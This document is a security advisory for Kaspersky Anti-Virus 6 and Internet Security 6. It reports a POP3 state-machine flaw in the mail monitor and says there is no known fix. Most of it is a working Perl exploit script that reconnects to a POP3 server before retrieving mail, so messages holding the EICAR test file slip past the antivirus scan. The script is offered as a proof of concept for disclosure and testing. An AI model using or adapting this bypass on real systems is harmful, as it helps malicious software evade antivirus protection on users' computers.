Kaspersky antivirus 6
Kaspersky internet security 6
www.kaspersky.com
Vulnerable Systems: KAV6, KIS6
Detail:
The vulnerability is caused due to POP3 state machine error in POP3 monitor
(Kaspersky Mail-antivirus).
Any mailicious software on local computer can bypass POP3 virus monitor.
Solution:
There is no known solution.
Exploit code:
Put eicar.com test file into your mailbox using subject 'eicar', correct this
perl script (change POP3-server address, your acount name and the pasword) and
run the script with ActiveState Perl 5.8:
#! /usr/bin/perl -w
use IO::Socket::INET;
use strict;
my( $h_srv, $h_port, $h_user, $h_pwd ) = ( YOUR.POP3.SERVER.IP/FQDN, 'pop(110)',
YOUR-ACCOUNT, YOUR-PASSWORD );
my( $g_str, $g_trc_out, $g_trc_in ) = ( '', 0, 0 );
my $server = pop3_connect();
sendthem( $server, "LIST" );
die "bad LIST command: $g_str" unless read_line( $server ) =~ /^\+OK/;
my @lst;
for( ;; ) {
my $str = read_line( $server );
last if $str =~ /^.$/;
push @lst, $1 if $str =~ /^(\d+)\s+/;
}
syswrite STDOUT, "msgs: ".(join ' ', @lst)."\n";
# !!! comment next line to have it working ;)
$server = pop3_connect( $server );
foreach( @lst ) {
my $uidl = $_;
sendthem( $server, "RETR $uidl" );
die "bad RETR command: $g_str" unless read_line( $server ) =~ /^\+OK/;
my $msg = '';
for( ;; ) {
my $str = read_line( $server );
last if $str =~ /^.$/;
$msg .= $str."\n";
}
syswrite STDOUT, "got: $uidl (".(length $msg)." bytes)\n";
syswrite STDOUT, $msg if $msg =~ /eicar/i;
}
sub pop3_connect {
my( $sock ) = @_;
syswrite STDOUT, "connecting to $h_srv:$h_port (as $h_user)\n";
$sock->close if $sock;
$sock = IO::Socket::INET->new( PeerAddr => $h_srv,
PeerPort => $h_port,
Proto => 'tcp' );
die "socket: $!" unless $sock;
die "wrong answer: $g_str" unless read_line( $sock ) =~ /^\+OK/;
sendthem( $sock, "USER $h_user" );
die "bad account: $g_str" unless read_line( $sock ) =~ /^\+OK/;
sendthem( $sock, "PASS $h_pwd" );
die "bad password: $g_str" unless read_line( $sock ) =~ /^\+OK/;
$sock;
}
sub sendthem {
my $sock = shift;
foreach( @_ ) {
my @a = split //, $_;
syswrite STDOUT, "cln: " if $g_trc_out;
foreach( @a ) {
sendone( $sock, $_ );
}
sendone( $sock, "\r" );
sendone( $sock, "\n" );
}
}
sub sendone {
my( $sock, $v ) = @_;
die "send: " if length $v != $sock->syswrite( $v );
syswrite STDOUT, $v if $g_trc_out;
}
sub read_line {
my( $sock ) = @_;
my $str = '';
for( ;; ) {
my $v = '';
my $r = $sock->sysread( $v, 1 );
die 'EOF reading headers!' unless $r;
last if $v eq "\n";
next if $v eq "\r";
$str .= $v;
}
syswrite STDOUT, "srv: $str\r\n" if $g_trc_out;
$g_str = $str;
}
